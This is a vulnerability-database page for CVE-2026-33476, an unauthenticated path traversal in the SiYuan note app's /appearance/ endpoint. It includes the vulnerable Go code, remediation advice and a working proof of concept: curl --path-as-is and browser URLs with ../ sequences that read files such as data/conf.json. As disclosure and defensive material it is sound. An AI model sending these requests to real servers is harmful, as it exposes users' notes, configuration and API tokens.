Windows
CVE-2026-33476
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP request to /appearance endpoint
-
ExploitCraft path traversal payload with ../ sequences
-
ExecutionBypass path sanitization logic
-
ImpactRead arbitrary files from server filesystem
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation against default Siyuan installations. Attacker sends crafted HTTP GET requests to the /appearance/*filepath endpoint with path traversal sequences (../) to read arbitrary files accessible to the server process. |
| Impact | This vulnerability presents genuine real-world risk despite no current KEV listing. The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N indicates network-exploitable attacks with low complexity requiring no privileges or user interaction, making it highly automatable. The public availability of a detailed proof-of-concept with both curl and browser-based exploitation methods significantly lowers the barrier to exploitation. The vulnerability enables unauthenticated access to sensitive workspace data including configuration files (conf.json), user notes, and potentially API tokens, representing high confidentiality impact. While the CVSS score of 7.5 is appropriate given the C:H/I:N/A:N impact profile, the authentication bypass combined with Docker deployment popularity and public PoC availability elevates practical risk. The SSVC framework would likely classify this as requiring expedited patching due to its automatable nature, proof-of-concept availability, and potential for credential harvesting that could enable further attacks. Organizations running Siyuan in network-accessible environments face immediate risk from opportunistic scanning and exploitation. |
| Exploit ScenarioDerived | An unauthenticated remote attacker identifies an internet-exposed Siyuan instance on port 6806 through automated scanning. The attacker crafts a GET request to http://target:6806/appearance/../../data/conf.json using curl with the --path-as-is flag to preserve traversal sequences, successfully retrieving the workspace configuration file without authentication. The exposed configuration reveals API tokens, workspace encryption keys, and other sensitive data that the attacker leverages for further compromise of the user's knowledge base or related systems. The attack requires no special privileges, no user interaction, and is trivially automatable given the public proof-of-concept code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
An unauthenticated directory traversal vulnerability exists in Siyuan kernel's /appearance/ endpoint, allowing remote attackers to read arbitrary files accessible to the server process without authentication. The vulnerability affects the Go-based Siyuan note-taking application (github.com/siyuan-note/siyuan/kernel) and has been assigned a CVSS score of 7.5 (High). A working proof-of-concept exploit is publicly available demonstrating successful file retrieval via crafted URLs containing path traversal sequences, and a patch has been released by the vendor.
RemediationAI
Upgrade Siyuan to the patched version incorporating commit 009bb598b3beccc972aa5f1ed88b3b224326bf2a or later as documented in the vendor security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7. For Docker deployments, pull the latest b3log/siyuan image that includes the fix and recreate containers. Until patching is complete, implement network-level access controls to restrict the /appearance/ endpoint to trusted IP ranges only, deploy Siyuan behind a reverse proxy with path normalization that blocks traversal sequences, or disable network access entirely and operate in localhost-only mode. Review server logs for suspicious requests containing ../ patterns in /appearance/ paths to identify potential exploitation attempts. After patching, rotate any API tokens, access codes, or credentials that may have been exposed through workspace configuration files, and audit workspace data for unauthorized access.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Siyuan is a Go-based personal knowledge management and note-taking application distributed as a Docker container and standalone binary. The vulnerability resides in kernel/server/serve.go where the Gin web framework handler for /appearance/*filepath endpoint constructs filesystem paths using filepath.Join() with unsanitized user input from URL path segments. The root cause maps to CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) where the code uses strings.TrimPrefix() to extract the path component without normalizing or validating traversal sequences like ../ before passing it to c.File() for direct file serving. The authentication bypass occurs because session.go explicitly exempts /appearance/ routes from authentication middleware checks, treating them as public static resources when they should be protected. The affected package identifier is pkg:go/github.com_siyuan-note_siyuan_kernel, indicating this is a vulnerability in the core kernel module of the application.
Know when Windows gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under /appearance/*filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Details
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")This preserves sequences such as:
../
..\ (Windows)2. Unsafe Path Joining
_filepath.Join()_ does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}This allows attackers to access the vulnerable endpoint without a session or token.
Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
Because authentication is bypassed, the attack requires no credentials.
PoC
Step 1 - Create marker file
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txtStep 2 - Run SiYuan container
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
Step 3 - Confirm service works
Open in browser:
http://127.0.0.1:6806Exploit PoC
Method A - using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"Output
HTTP/1.1 200 OK
POC_EXPLOITEDMethod B - Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txtIf method B is not working, use method A, which is CURL command to do the exploit
Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets
Executive ViewAI
Siyuan note-taking application users face an unauthenticated file exposure risk that could compromise sensitive organizational data stored within the application. An attacker can remotely read arbitrary files accessible to the server without requiring credentials, potentially exposing intellectual property, credentials, and confidential information.
Apply vendor patch. If immediate patching is not feasible: (1) Restrict network access to the /appearance/ endpoint through firewall rules or WAF to authorized IP ranges only; (2) Deploy reverse proxy authentication requiring valid credentials before backend access; (3) Disable the /appearance/ endpoint if not operationally required; (4) Implement file system access controls to limit server process permissions to necessary directories only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)GitHub Advisory
Unauthenticated remote code execution in SmarterTools SmarterMail lets an attacker upload arbitrary files to any locatio
Windows Win32k fails to properly handle objects in memory, allowing local privilege escalation exploited in the wild in
A privilege escalation vulnerability (CVSS 5.5). Risk factors: actively exploited (KEV-listed), EPSS 94% exploitation pr
Windows Internet Shortcut Files (.url) contain an external control vulnerability (CVE-2025-33053, CVSS 8.8) that enables
Windows SMB contains an improper access control vulnerability (CVE-2025-33073, CVSS 8.8) enabling authenticated attacker
Twonky Server 8.5.2 on Linux and Windows allows unauthenticated access to the admin log file through a web service API b
An unrestricted file upload vulnerability exists in MiniWeb HTTP Server <= Build 300 that allows unauthenticated remote
FreeFloat FTP Server contains multiple critical design flaws that allow unauthenticated remote attackers to upload arbit
Serviio Media Server versions 1.4 through 1.8 on Windows contain an unauthenticated command injection in the /rest/actio
Twonky Server 8.5.2 uses hard-coded cryptographic keys for encrypting the administrator password. Combined with the cred
Mako Server versions 2.5 and 2.6 contain an unauthenticated OS command injection via the tutorial interface at examples/
React Native Metro Development Server binds to external interfaces by default and contains an OS command injection endpo
Same weakness CWE-22 – Path Traversal
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
GHSA-hhgj-gg9h-rjp7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB